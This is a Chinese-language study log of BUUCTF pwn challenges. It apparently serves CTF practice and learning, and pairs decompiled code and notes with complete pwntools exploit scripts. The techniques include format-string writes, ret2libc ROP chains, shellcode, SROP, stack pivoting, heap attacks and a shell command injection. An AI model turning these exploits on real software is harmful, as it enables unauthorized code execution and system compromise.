buu做题记录1

算是最近得做题记录了,就是一开始的比较简单呃就挺简洁的,所以后面跳到5,6页了,算是总结吧,之后也不知道要干什么,就这样子吧

[第五空间2019 决赛]PWN5

静态分析

image-20240303211815707

可以看到有格式字符串漏洞,原本因为1想的是password会在栈上出现,但是并没有应该是被覆盖掉了,因此我们想到直接修改password

image-20240303211726790
1
2
3
4
5
6
7
8
9
from pwn import*
#sh=process('./pwn5')
sh=remote('node5.buuoj.cn',27277)
sh.recvuntil(b'your name:')
pal=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%10$n%11$n%12$n%13$n'
sh.sendline(pal)
sh.recv()
sh.send(str(0x10101010))
sh.interactive()

rctf-2019-babyheap

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

ciscn_2019_c_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) ) // '\0'绕过
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);

本题主要是栈溢出,然后有个加密要绕过,因此先传入’\0’绕过strlen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
from LibcSearcher import*

context(os = 'linux', arch = 'amd64', log_level = 'debug')
sh=process('./ciscn_2019_c_1')
elf=ELF('./ciscn_2019_c_1')

def overflow(content=bytearray):
sh.recvuntil(b'Input your choice!\n')
sh.sendline(b'1')
sh.recvuntil(b'Input your Plaintext to be encrypted\n')
sh.sendline(b'\x00'+b'a'*0x57+content)


main_addr=elf.symbols['main']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

poprid_ret=0x0000000000400c83
ret=0x00000000004006b9

overflow(p64(poprid_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr))
sh.recvuntil(b'Ciphertext\n\n')
puts_addr=u64(sh.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base=puts_addr-libc.dump['puts']
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

overflow(p64(ret)+p64(p64(poprid_ret)+p64(binsh_addr)+p64(system_addr)))

sh.interactive()

但是不知道为什么我的libcsearcher一直用不了,所以用网上找的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
sh=remote('node5.buuoj.cn',29738)
e=ELF('./ciscn_2019_c_1')
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main_addr=e.symbols['main']
rdi_addr=0x0000000000400c83
ret=0x00000000004006b9
sh.recv()
sh.sendline(b'1')
sh.recv()
padding=b'\x00'+b'a'*0x57
sh.sendline(padding+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr))
sh.recvuntil(b'Ciphertext\n\n')
puts_addr = u64(sh.recv(6).ljust(8, b'\x00'))
libc_base=puts_addr-0x0809c0
system=libc_base+0x04f440
binsh=libc_base+0x1b3e9a
sh.recv()
sh.sendline(b'1')
sh.recv()
sh.sendline(padding+p64(rdi_addr)+p64(binsh)+p64(ret)+p64(system))
sh.interactive()

ciscn_2019_n_5

1
2
3
4
5
6
7
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char text[30]; // [rsp+0h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(text);
return 0;
}

text在栈上,栈溢出

但是呢第一想法是构造ROP链,但是在ROPgadget的时候发现几乎没有适合的rop,所以只能换个想法了

发现name可写,又有rwx,因此就直接写shellcode,之后ret就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
binary='./ciscn_2019_n_5'
#sh=process(binary)
sh=remote('node5.buuoj.cn',29953)
elf=ELF(binary)

ret=0x0000601080
context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())

sh.recvuntil(b'tell me your name\n')
sh.send(shellcode)
sh.recvuntil(b'What do you want to say to me?')
pal=0x28*b'a'+p64(ret)
sh.send(pal)
sh.interactive()

这道题学到了

1
2
context(arch='amd64',os='linux') 
shellcode=asm(shellcraft.sh())

首先导入pwntool模块,之后便可以有自助shellcode,虽然我之前都是手写的但是容易挂

ciscn_2019_en_2

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

ciscn_2019_c_1

not_the_same_3dsctf_2016

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/ctf-learn/3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
bamboo@bamboo-virtual-machine:/mnt/hgfs/shared/ctf-learn$ ROPgadget --binary 3dsctf_2016 --only 'int'
Gadgets information
============================================================
0x0806d8a5 : int 0x80

Unique gadgets found: 1

发现ROPgadget有些东西找不出来这时候就要使用ropper函数

ropper

Roopper 的语法基本上由命令和选项组成。下面是一些常用的 Roopper 命令和选项的示例:

  1. 分析二进制文件:

    1
    ropper -f <binary_file>
  2. 搜索特定指令:

    1
    ropper -f <binary_file> --search <instruction>
  3. 根据模式匹配搜索:

    1
    ropper -f <binary_file> --search <pattern> --pattern
  4. 过滤和排序指令:

    1
    ropper -f <binary_file> --opcode <opcode> --type <type> --sort <sort_type>
  5. 生成 ROP 链:

    1
    ropper -f <binary_file> --chain "<gadget1>;<gadget2>;..."
  6. 显示帮助信息:

    1
    ropper --help

上述命令中的 <binary_file> 是要分析的二进制文件的路径。

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb 说明即使是32位的在执行syscall时的参数仍然在寄存器中
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

但是呢没有/bin/sh所以在栈上构造

所以泄露栈?

但是我们发现好像没法玩,因为什么都没有

这时候是在搞不了发现原来有后门函数,真的绷不住了

首先shift+F12找到有个flag.txt字符串,然后ctrl+x找到调用的函数

image-20240306192130678

然后发现只有fget,实在是不会了,该flag位置在0x80ECA2D然后ctrl+s有rw权限因此读flag

image-20240306193620444

但是有个问题,我发现image-20240306195251819

他根本没有push ebp,靠!

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
from LibcSearcher import*
context(arch='i386',os='linux',log_level='debug')
sh=remote('node5.buuoj.cn',26826)

flag_addr=0x80ECA2D
backdoor=0x80489A0
printf=0x0804f0a0
exit=0x0804e660
pal=0x2d*b'a'+p32(backdoor)+p32(printf)+p32(exit)+p32(flag_addr)
sh.sendline(pal)
sh.interactive()

二解

我一开始的思路是利用main函数里的gets造成溢出,覆盖返回地址去读出flag,然后利用get_secret函数的输入点造成溢出然后覆盖返回地址到write函数的地址,打印出unk_80CF91B里的flag的内容,但是后来在百度fgets的用法的时候,发现它能够避免造成溢出,而且fl4g在bss段,没有ret指令可以继续控制程序。

后来我在程序了发现了mprotect函数,可以用它来修改我们内存栈的权限,让它可读可写可执行,接着让写入shellcode,然后执行获取shell,这题的做法跟get_started_3dsctf_2016这题类似

由于需要利用ret指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8

1
ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret"|grep pop

在这里插入图片描述

ctrl+s调出程序的段表,将.got.plt段改为可读可写可执行,addr=0x80eb000

1
2
payload  ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)

将返回地址填写成read函数,设置read函数的参数,之后将返回地址改为我们修改为可读可写可执行的地址,最好读入shellcode

1
2
3
4
5
payload +=p32(read_addr)+p32(p3_ret)

payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
r.sendline(payload)
r.sendline(shellcode)

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*

r=remote('node3.buuoj.cn',29651)
elf=ELF('not_the_same_3dsctf_2016')
read_addr=elf.symbols['read']
mprotect=0x806ED40
addr=0x80eb000
p3_ret=0x806fcc8

shellcode=asm(shellcraft.sh())

payload ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)

payload +=p32(read_addr)+p32(p3_ret)

payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)

r.sendline(payload)
r.sendline(shellcode)

r.interactive()

exp看的不是很懂,但是大概理解意思

iscn_2019_ne_5

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

在做这道题的时候,发现自己32位传参还是有一定的不理解

32位传参:

一般是依靠类似于

1
垃圾数据+ret_addr+某返回地址(bbbb)+arg1+arg2+.....

这样子的,因为ret_addr的后面要紧跟某一个要返回的地址,这个东西编译器会处理好的,但是如果想要一次调用两个以上的函数,应该要先弹栈

例如:

1
system_addr+pop|ret+/bin/sh_addr+下一个函数

如此如此

还有一个问题便是

1
*(_DWORD *)src = 48;

ida里的一个语句,我点进去src的时候发现src在栈上,但是src是一个地址,所以我很好奇src到底是在栈上还是在栈上的一个地址,其实src就是在栈上,但是其指向的不一定在栈上

1
2
3
4
5
6
7
8
9
10
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF

*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}

src可控显然栈溢出

1
2
3
4
bamboo@bamboo-virtual-machine:/mnt/hgfs/shared/ctf-learn$ ROPgadget --binary ciscn_2019_ne_5 --string 'sh'
Strings information
============================================================
0x080482ea : sh

找到sh,幸运的是sh是flussh的sh其后面\x00截断,不然打不了

2018_rop

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[136]; // [esp+10h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

溢出6个地址的长度,1个ebp所以只有一次只有5个,返回地址改main,4个地址长度

那么这里啥都没有,所以先泄露libc版本,然后system(‘’/bin/sh’)即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
from LibcSearcher import*
sh=remote('node5.buuoj.cn',28188)
elf=ELF('./2018_rop')
context(arch='i386',os='linux',log_level='debug')

pal=(0x88+4)*b'a'+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
sh.send(pal)
write_addr=u32(sh.recv(4))
print("write_addr===>",hex(write_addr))
libc=LibcSearcher('write',write_addr)

libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
pal=(0x88+4)*b'a'+p32(system_addr)+p32(elf.sym['main'])+p32(binsh_addr)
sh.sendline(pal)
sh.interactive()

bjdctf_2020_babyrop

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

与上题一样

bjdctf_2020_babystack2

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/ctf-learn/2020_babystack2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

很明显的整数溢出,一个输入0可以几乎无限溢出

然后一个backdoor

就搞定了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

r=remote('node5.buuoj.cn',28161)
#r=process('./bjdctf_2020_babystack2')
backdoor_addr=0x400726

r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')

payload=b'a'*0x10+b'b'*0x8
payload+=p64(backdoor_addr)
r.recvuntil(b'[+]What\'s u name?')
r.sendline(payload)

r.interactive()

jarvisoj_fm

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

就是一个任意地址读x=4就行啦

1
2
3
4
5
6
7
8
from pwn import*
sh=remote('node5.buuoj.cn',26902)
context.log_level='debug'

over_flow=0x0804A02C
pal=p32(over_flow)+b'%11$n'
sh.sendline(pal)
sh.interactive()

jarvisoj_tell_me_something

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

本题就是一个溢出然后一个后门

因为retn之前没有leave所以没有ebp

ciscn_2019_es_2

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

后门

[HarekazeCTF2019]baby_rop2

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

常规rop

ciscn_s_3

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

首先是系统调用read和write,搞得不能泄露libc基址,很显然栈溢出

image-20240306231221635

没有leave,因此0x10后面就是ret

image-20240306231332851

两个gadget,一个rax=15是sigreturn ,一个是rax=59是execve

而vuln是系统调用就有syscall

那么很显然是SROP,万事俱备只差/bin/sh\x00的addr

那只能自己写

那就只能调用read_write看看能不能写到跟/bin/sh\x00偏移固定的地址啦

image-20240307010520356

这个东西一看就知道是地址,就gdb进去看,然后出来看,减一下

image-20240307010810093

突然发觉可以用search,记下来

image-20240307010855890

偏移是128:这是一个大坑,因为glibc版本不同,他的偏移也是不同的!!!!其实是0x118偏移,但是不改libc版本就是0x128偏移

因为buf是在rsp+10,而write能写0x30个字节,那么就会有rbp在里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
#sh=process('./ciscn_s_3')
sh=remote('node5.buuoj.cn',27109)
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('./ciscn_s_3')
def debug():
gdb.attach(sh)
pause()

main_addr=elf.sym['main']
rax_15_ret=0x04004DA
syscall_ret=0x0400517
read_write_ret=0x004004F1

pal=b'/bin/sh\x00'+8*b'a'+p64(read_write_ret)
#debug()
sh.sendline(pal)
#debug()
sh.recv(0x20)
binsh_addr=u64(sh.recv(8))-0x118
print("binsh_addr===>",hex(binsh_addr))

frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=binsh_addr
frame.rsi=0
frame.rdx=0
frame.rip=syscall_ret
frame_bytes = bytes(frame)

pal=b'a'*0x10+p64(rax_15_ret)+p64(syscall_ret)+frame_bytes
sh.sendline(pal)

sh.interactive()

ez_pz_hackover_2016

首先是它一开始就给你了一个gift:栈地址

然后估摸是crashme\x00绕过避免改payload,然后就是溢出

因为这里\n会截断,所以两个想法

一个是shellcode写栈上

一个是rop链

babyheap_0ctf_2017

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

因为内存页的缘故,所以一般刚初始化的堆块起始地址末尾为00

思路

​ 首先是分配多个堆块,包括一个size为0x20堆块,以及0x90堆块,然后free chunk1,再改chunk1的fd位指向chunk2,我们是要将chunk2再次malloc,但是fastbin堆块分配的时候会有check size的检查,那么就再覆盖0x90堆块的size为0x20,之后malloc了之后改回来,然后再释放该堆块到unsortedbin,就可以Print泄露libc基址

​ 之后便是分配堆块到malloc_hook上方,可以通过字节错位找到相应的堆块

fastbin中有fd的先被分配

以下是一些过程

首先要分配fastbin,就要找到合法的堆块,可以用

1
find_fake_fast addr

找到堆块

image-20240308142904319

填充完就这样

image-20240308145448733

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import*
#sh=process('./babyheap_0ctf_2017')
sh=remote("node5.buuoj.cn",28594)
context.log_level='debug'

sla = lambda x,y : sh.sendlineafter(x,y)
sa = lambda x,y : sh.sendafter(x,y)

def debug():
gdb.attach(sh)
pause()

def add(size=str):
sla(b'Command: ', b'1')
sla(b'Size: ', str(size).encode())


def fill(index=int, content=bytes):
sla(b'Command: ', b'2')
sla(b'Index: ', str(index).encode())
sla(b'Size: ', str(len(content)).encode())
sa(b'Content: ', content)

def delete(index=int):
sla(b'Command: ',b'3')
sla(b'Index: ',str(index).encode())

def Print(index=int):
sla(b'Command: ',b'4')
sla(b'Index: ',str(index).encode())

add(0x10) #0 00
add(0x10) #1 20
add(0x10) #2 40
add(0x10) #3 60
add(0x90) #4 80
add(0x10) #5
add(0x10) #6
add(0x10) #7

delete(2)
delete(1)
pal=p64(0)*3+p64(0x21)+b'\x80'
fill(0,pal)
#debug()
pal=p64(0)*3+p64(0x21)
fill(3,pal)
add(0x10) #1
#debug()
add(0x10) #2 in 4
pal=p64(0)*3+p64(0xa1)
fill(3,pal)
delete(4)
#debug()
Print(2)
sh.recv(10)
data=u64(sh.recv(6).ljust(8,b'\x00'))
print("addr==========>",hex(data))
main_arena_addr=data-88
malloc_hook_addr=main_arena_addr-0x10
fake_fastbin=malloc_hook_addr-0x23 ##size=7f
libc_base=data-0x3C4B78
add(0x90) #4
add(0x10) #8
add(0x60) #9
add(0x60) #10
delete(10)
delete(9)
#debug()
pal=p64(0)*3+p64(0x71)+p64(fake_fastbin)
#debug()
fill(8,pal)
#debug()
add(0x60) #9
add(0x60) #10 fake_fastbin
one_gadget=libc_base+0x4526a
pal=0x13*b'a'+p64(one_gadget)
print("fake_fast===>",fake_fastbin)
fill(10,pal)
print("malloc_hook===>",malloc_hook_addr)
#debug()
add(0x10)

sh.interactive()
#3C4B78

学到的东西

虽然是一道很简单的题目,但是我一开始还真的没有做出来,记住malloc之后的堆块会清空

mrctf2020_shellcode

这道题第一眼就比较神奇,因为他不能ida反编译,估计是花指令之类的,但是我不会,只能读汇编啦

就是一个shellcode,很简单

1
2
3
4
5
6
7
8
from pwn import*
#sh=process('./mrctf2020_shellcode')
sh=remote('node5.buuoj.cn',29244)
context(arch='amd64',os='linux',log_level='debug')
shellcode=asm(shellcraft.sh())
sh.recvuntil(b'Show me your magic!\n')
sh.sendline(shellcode)
sh.interactive()

bjdctf_2020_babyrop2

这道题就是先格式字符串漏洞泄露canary,然后用puts(puts@got)来泄露libc基址

bjdctf_2020_router

这道题就是考察一个对于linux命令行的绕过了

1
2
3
4
5
6
7
*(_QWORD *)dest = ' gnip';

puts("Please input the ip address:");
read(0, buf, 0x10uLL);
strcat(dest, buf);
system(dest);
puts("done!");

这里就是输入|cat flag即可,关于这方面的内容我就写在另一篇md上了

[ZJCTF 2019]EasyHeap

1
2
6020C0:magic
6020E0:heap_array

就是一个堆溢出

首先的思路肯定是覆盖一个大数字在magic上,然后就会想到unsortedbin attack,但是要已知fd,然后修改bk为&magic-0x10,但是没有show类函数,搞不定?

那接下来就是unlink了,这个比较easy,简单说就是一个地址addr有chunk1的地址,然后修改chunk1的fd为addr-0x18,bk为addr-0x10,然后就显然了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
#sh=process('./easyheap')
sh=remote("node5.buuoj.cn",25380)
context.log_level='debug'
elf=ELF('./easyheap')

sla = lambda x,y:sh.sendlineafter(x,y)
sa = lambda x,y:sh.sendafter(x,y)

def add(size=int,content=bytearray(b'a')):
sla(b'Your choice :',b'1')
sla(b'Size of Heap : ',str(size).encode())
sa(b'Content of heap:',content)

def edit(index=int,content=bytearray):
sla(b'Your choice :',b'2')
sla(b'Index :',str(index).encode())
sla(b'Size of Heap : ',str(len(content)).encode())
sa(b'Content of heap : ',content)

def delete(index=int):
sla(b'Your choice :',b'3')
sla(b'Index :',str(index).encode())

def debug():
gdb.attach(sh)
pause()

magic_addr=0x6020C0
heap_array=0x6020E0

add(0x10)
add(0x10)
add(0x40)
add(0x80)
pal1=p64(0)+p64(0x30)+p64(heap_array-0x18+0x10)+p64(heap_array-0x10+0x10)+p64(0)*2+p64(0x30)*2+p64(0x40)
pal2=p64(0)*9+p64(0x90)
edit(2,pal2)
edit(2,pal1)
#debug()
delete(3)
#2 为0x6020d8
edit(2,p64(elf.got['free'])*3)
edit(0,p64(elf.plt['system']))
add(0x10,b'/bin/sh\x00')
delete(3)
#edit(0,b'10000000')
sh.interactive()

这里最有病的就是后门仅仅是提供一个system的符号表。

二解

​ 先申请3个堆块,index分别为0,1,2,然后释放chunk2,接着edit chunk1溢出,修改chunk1数据为/bin/sh(因为后面要delete chunk1 getshell)修改chunk2的fd为一处与heaparray数组接近的地方,因为这里可以错位偏移构造一个size为0x7f的fake_chunk,绕过malloc对fastbin chunk的检查,让它插进fastbins ,之后从新申请回fake_chunk,利用fake_chunk溢出修改heaparray[0]的值为free_got,最后edit chunk0(现在为free_got)为system_plt,然后delete(1)执行system(“/bin/sh”) getshell

​ 跟0ctf那题有异曲同工之妙,就是构造fake_fastbin

[Black Watch 入群题]PWN

首先本道题

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}

在大多数操作系统中,BSS 段的权限通常是可读写(RW)的,但不可执行(E)。

所以显然就是栈迁移,有地方让我们写,然后到main里让我们得以凑齐两个leave_ret,从而可以实施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="i386"
#sh=process("spwn")

sh=remote("node5.buuoj.cn",26209)
elf=ELF("spwn")

write_plt=elf.plt["write"]
write_got=elf.got["write"]
main=0x08048513
s_addr=0x0804A300
leave_ret=0x08048511
ret_addr=0x08048312

sh.recvuntil("name?")
payload1=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.send(payload1)

sh.recvuntil("say?")
payload2=b'A'*0x18+p32(s_addr-4)+p32(leave_ret)
sh.send(payload2)
write_addr=u32(sh.recv(4))
print("write_addr=",end='')
print(hex(write_addr))

#libc=LibcSearcher("write",write_addr)
#libc_base=write_addr-libc.dump("write")
#print("libc_base=",end='')
#print(hex(libc_base))
libcbase = write_addr - 0x0d43c0
system_addr = libcbase + 0x3a940
binsh = libcbase + 0x15902b

sh.recvuntil("name?")
payload3=p32(ret_addr)+p32(system_addr)+p32(main)+p32(binsh)
sh.sendline(payload3)
sh.recvuntil("say?")
sh.sendline(payload2)
sh.interactive()

这道题让我感觉很奇怪,因为我用libcsearcher找的libc不能用,但是我用网上找的偏移确实正确的

cmcc_simplerop

这道题用的是int 80的系统调用

1
int80(11,"/bin/sh",null,null)

  后面的四个参数分别是eaxebxecxedx

ciscn_2019_n_3

改堆的free函数为system@plt,然后再改内容为/sh,应该是可以getshell的,但是不知道为什么调试一直显示共享库损坏,就不写了

strchr寻找字符出现的地方

babyfengshui_33c3_2016

首先是一个off-by-null的漏洞

那么应该是一个unlink然后通过unlink后的堆块,来改一个结构堆块的内容为free@got,之后改这个内容的内容堆块,即改free@go表为system然后再传入一个/bin/sh\x00就行了

但是我看了wp,发现我的思路有点过于复杂了,他的des的大小判断是根据堆块越界来看的,我们可以不让结构堆块和des堆块连在一起,就能实现越界到另一个结构堆块上

可以通过show函数来泄露libc基址,就越界覆盖一个free@got来show

hitcon_ctf_2019_one_punch

冷知识:calloc不会从tcachebin里面取堆块

​ 首先大概的思路是先泄露libc基址,这个可以通过show unsortedbin来泄露,再泄露heap基址,之后便是构造tcache stashing unlink attack,之后再修改__malloc_hook为add rsp###,ret然后在栈中构造ROP链

​ 仔细说一下tcache的unlink attack,它是先申请相同size的两个smallbin和tcachebin,然后再用calloc拿掉一个smallbin的时候会将剩下的smallbin放进tcachebin里,而且其中几乎没有什么check,那么我们就可以在拿取之前将smallbin的bk改成目标地址,但是要保证fd链是正确的,就可以在target-0x10上覆盖一个地址,算是大数组,也可以字节错位来实现一些小目标

首先这题有几个问题

magic函数的判定寻找过程

首先是qword_4030是位于bss段上的,那么vmmap上找第一个RW段,就是bss段,然后以基址往后30就是该值,之后+0x20即在这个地址上的值加上0x20

还有tcache结构堆块的结构

tcache结构是第一个malloc或calloc的堆块的时候初始化形成的,首先是couts数组,然后才是tcache堆,而这个couts的存储大小有1字节和2字节之分,区分于版本的大小,在较低版本都是1字节,较高版本是2字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import*
sh=process('./2019_one_punch')
context.log_level='debug'

sla = lambda x,y:sh.sendlineafter(x,y)
sa = lambda x,y:sh.sendafter(x,y)
su = lambda x :sh.recvuntil(x)
sl = lambda x :sh.sendline(x)

def magic(content=bytearray):
sla(b'> ',b'50086')
sl(content)

def add(idx=int,size=int,content=bytearray):
sla(b'> ',b'1')
sla(b'idx: ',str(idx).encode())
sla(b'hero name: ',size*content)

def rename(idx=int,content=bytearray):
sla(b'> ',b'2')
sla(b'idx: ',str(idx).encode())
sla(b'hero name: ',content)

def show(idx=int):
sla(b'> ',b'3')
sla(b'idx: ',str(idx).encode())

def delete(idx=int):
sla(b'> ',b'4')
sla(b'idx: ',str(idx).encode())

def malloc(content=bytearray):
sla(b'> ',b'50056')
sl(content)

def debug():
gdb.attach(sh)
pause()

for i in range(7):
add(0,0x120,b'a')
delete(0)
#debug()
show(0)
recvdata2=u64(sh.recv()[11:][:6].ljust(8,b'\x00'))
heap_base=recvdata2 & 0xFFFFFFFFF000
print("heap_base_addr======>",hex(heap_base))
#debug()
add(0,0x120,b'a')
add(1,0x120,b'a')
delete(0)
#debug()
show(0)
sh.recvuntil(b'hero name: ')
recvdata1=u64(sh.recv(6).ljust(8,b'\x00'))
main_arena_addr=recvdata1-96
print("mainarena==========>",hex(main_arena_addr))
libc_base=main_arena_addr-0x1ECB80
print("libc_base_addr==========>",hex(libc_base))
#debug()
#-------------------------------------------------------------
for i in range(6):
add(0,0xf0,b'a')
delete(0)

